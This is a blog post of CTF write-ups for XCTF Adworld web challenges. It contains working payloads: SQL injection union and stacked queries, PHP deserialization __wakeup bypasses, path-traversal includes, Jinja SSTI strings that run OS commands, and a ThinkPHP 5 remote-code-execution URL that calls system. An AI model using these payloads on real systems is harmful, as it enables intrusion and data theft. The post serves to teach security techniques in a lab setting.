攻防世界 web高手区1

阅读约 8 分钟

baby_web

题目描述:想想初始页面是哪个

那第一感觉就是index.php 然后在url里面输入后直接跳转到1.php,所以抓包试试,就出了

Training-WWW-Robots

直接查看robots协议

PHP2

上来就这个 ,啥也没有

信息收集, 后缀index.phps ,出现源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

第一个 if 如果成立的话就要退出来,显然我们要让第一个 if 不成立,就是不能上传一个变量id=admin,但是我们要让上传的这个变量id经过url解码之后等于admin,而且我们知道在当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode(编码),运行时会自动进行一次urldecode(解码)

所以我们要上传的admin必须要进行两次URL编码

找个能编码的网站真费尽啊

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

攻防世界unserialize3题解_黑锤的博客-CSDN博客_攻防世界unserialize3

此文章讲的很明白,学习了一波

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

这个是解决咱们这道题的重点了

思路就出来了,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了)

当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效,就是问题的关键所在。所以对其进行修改:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}  修改属性个数
payload:
http://111.200.241.244:51023/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

这道题是绕过__wakeup()函数,利用的也算是反序列化的知识:当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时__wakeup也会失效,如果这里我不对其属性的改变,也就是不将1改为2,那么返回的东西是什么呢?

很简单,当然是立即调用__wakeup()函数可想而知返回的就是bad requests.

Web_php_unserialize

还是跟着大佬学习,写的很好

攻防世界-Web_php_unserialize详解_Mr_helloword的博客-CSDN博客

<?php
class Demo
{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo('fl4g.php');                    //创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4', 'O:+4', $C);      //绕过正则表达式过滤
$C = str_replace(':1:', ':2:', $C);         //wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

paylod:

http://111.200.241.244:53678/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

直接大写绕过php ,用input

warmup

在buu学习了一次了跟着wp复现了,这次自己复现

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

mb_strpos()")

逻辑搞清楚 ,这段代码其实就是 $_page=$page ,urlencode后也是如此

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

也就是满足 传入的$file在whitelist里 ,也就是 source.php或者hint.php,代码会一直true下去

配合hint的内容

构造payload

/?file=hint.php%253f../../../../../../../ffffllllaaaagggg
         %253f 是?的 两次url编码

/?file=hint.php?../../../../../../../ffffllllaaaagggg

ics-06

只有这个页面能操作,get了一个id=1 ,然后这就是直接爆破出来

NewsCenter

尝试一下sql注入,看见这个稳了一半了

常规注入

1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#

1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#

1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#

upload1

只是前端限制必须上传jpg ,png

抓包修改后缀成php 连蚁剑

supersqli

[[强网杯 2019]随便注 1 - ZM思 - 博客园](https://www.cnblogs.com/wjw-zm/p/12359735.html "[强网杯 2019]随便注 1 - ZM思 - 博客园")

就是强网杯随便住

过滤了一众关键词,使用堆叠注入查看表名

-1';show databases;# 

-1';show tables;#

先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

输入 1' oi 1=1 # 就查出来了

Web_python_template_injection

题目python大概就是SSTI

没有看到注入点,这题直接放url后面就行

放两个可以用的payload

{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}

NaNNaNNaNNaN-Batman

是一个附件,一段js乱码

复制这一部分去控制台运行,然后就可以继续美化,

function $() {
    var e = document.getElementById("c")
        .value;
    if (e.length == 16)
        if (e.match(/^be0f23/) != null)
            if (e.match(/233ac/) != null)
                if (e.match(/e98aa$/) != null)
                    if (e.match(/c7be9/) != null) {
                        var t = ["fl", "s_a", "i", "e}"];
                        var n = ["a", "_h0l", "n"];
                        var r = ["g{", "e", "_0"];
                        var i = ["it'", "_", "n"];
                        var s = [t, n, r, i];
                        for (var o = 0; o < 13; ++o) {
                            document.write(s[o % 4][0]);
                            s[o % 4].splice(0, 1)
                        }
                    }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

逻辑就是构造变量e: be0f23开头,中间要匹配到233ac和c7be9,结尾要有e98aa

而且长度限制16

那就可以是be0f233ac7be98aa ,后面的代码也看球不懂

将下载的附件保存为html 就出现了一个提交表单

提交构造好的e就可了

php_rce

ThinkPHP V5,直接github有payload ,拿来用

GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

这个可以打通,直接ls查目录 rce即可

http://61.147.171.105:60397?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /flag

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

纯加密逻辑,把$miwen先rot13再翻转再base64decode,处理一下得到$_o

按照循环逻辑 反向来一遍即可

$_o = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";

for($_0=strlen($_o)-1;$_0>=0;$_0--){
    $_c=substr($_o,$_0,1);
    $__=ord($_c)-1;
    $_c=chr($__);
    $_=$_.$_c;
}
echo $_;


 赏 
感谢您的支持,我会继续努力哒!
~~  The   End  ~~

文章二维码 本文标签:web, 刷题
最后编辑:2022 年 07 月 13 日 17:29 By ThnPkm
本文链接:http://thnpkm.xyz/index.php/archives/63/(转载时请注明出处及链接! )
作品采用: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可协议授权。
1 + 4 =
共  2  评论:
    荒野孤灯基佬
    2022年07月14日 海南省海口市 回复

    大佬 太专业了 完全看不懂

      2022年08月12日 山西省长治市 回复

      一枚小白,感谢大佬的开源精神,能用上这么舒适的主题真的棒!